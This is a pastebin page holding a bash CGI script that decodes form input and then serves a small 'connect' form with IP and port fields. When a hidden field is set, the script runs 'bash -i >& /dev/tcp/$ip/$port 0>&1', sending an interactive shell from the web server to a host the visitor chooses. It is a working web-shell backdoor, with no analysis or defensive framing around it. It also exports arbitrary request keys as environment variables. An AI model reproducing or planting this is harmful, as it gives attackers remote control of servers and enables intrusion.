Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- function cgi_get_POST_vars()
- {
- [ "$REQUEST_METHOD" != "POST" ] && return
- [ ! -z "$QUERY_STRING_POST" ] && return
- [ -z "$CONTENT_LENGTH" ] && return
- [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && \
- echo "bash.cgi warning: you should probably use MIME type "\
- "application/x-www-form-urlencoded!" 1>&2
- local handlemultipart=0 # enable to handle multipart/form-data (dangerous?)
- if [ "$handlemultipart" = "1" -a "${CONTENT_TYPE:0:19}" = "multipart/form-data" ]; then
- boundary=${CONTENT_TYPE:30}
- read -N $CONTENT_LENGTH RECEIVED_POST
- QUERY_STRING_POST=$(echo "$RECEIVED_POST" | awk -v b=$boundary 'BEGIN { RS=b"\r\n"; FS="\r\n"; ORS="&" }
- $1 ~ /^Content-Disposition/ {gsub(/Content-Disposition: form-data; name=/, "", $1); gsub("\"", "", $1); print $1"="$3 }')
- # take input string as is
- else
- read -N $CONTENT_LENGTH QUERY_STRING_POST
- fi
- return
- }
- # (internal) routine to decode urlencoded strings
- function cgi_decodevar()
- {
- [ $# -ne 1 ] && return
- local v t h
- # replace all + with whitespace and append %%
- t="${1//+/ }%%"
- while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
- v="${v}${t%%\%*}" # digest up to the first %
- t="${t#*%}" # remove digested part
- # decode if there is anything to decode and if not at end of string
- if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
- h=${t:0:2} # save first two chars
- t="${t:2}" # remove these
- v="${v}"`echo -e \\\\x${h}` # convert hex to special char
- fi
- done
- # return decoded string
- echo "${v}"
- return
- }
- function cgi_getvars()
- {
- [ $# -lt 2 ] && return
- local q p k v s
- # get query
- case $1 in
- GET)
- [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
- ;;
- POST)
- cgi_get_POST_vars
- [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
- ;;
- BOTH)
- [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
- cgi_get_POST_vars
- [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
- ;;
- esac
- shift
- s=" $* "
- while [ ! -z "$q" ]; do
- p="${q%%&*}" # get first part of query string
- k="${p%%=*}" # get the key (variable name) from it
- v="${p#*=}" # get the value from it
- q="${q#$p&*}" # strip first part from query string
- # decode and assign variable if requested
- [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
- export "$k"="`cgi_decodevar \"$v\"`"
- done
- return
- }
- echo "Content-type: text/html";
- echo '';
- cgi_getvars BOTH ALL
- echo "<html> <center> <form action='' method='POST'> <input type=text name=ip value=$REMOTE_ADDR> <input type=text name=port value=21> <input type="hidden" name="cc2" value="8" /><br> <input type=submit name=run value=connect> <font color=red>"
- echo "</font><center></html>";
- if [ $cc2 -eq 8 ] ; then
- bash -i >& /dev/tcp/$ip/$port 0>&1
- fi
- echo $ip
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement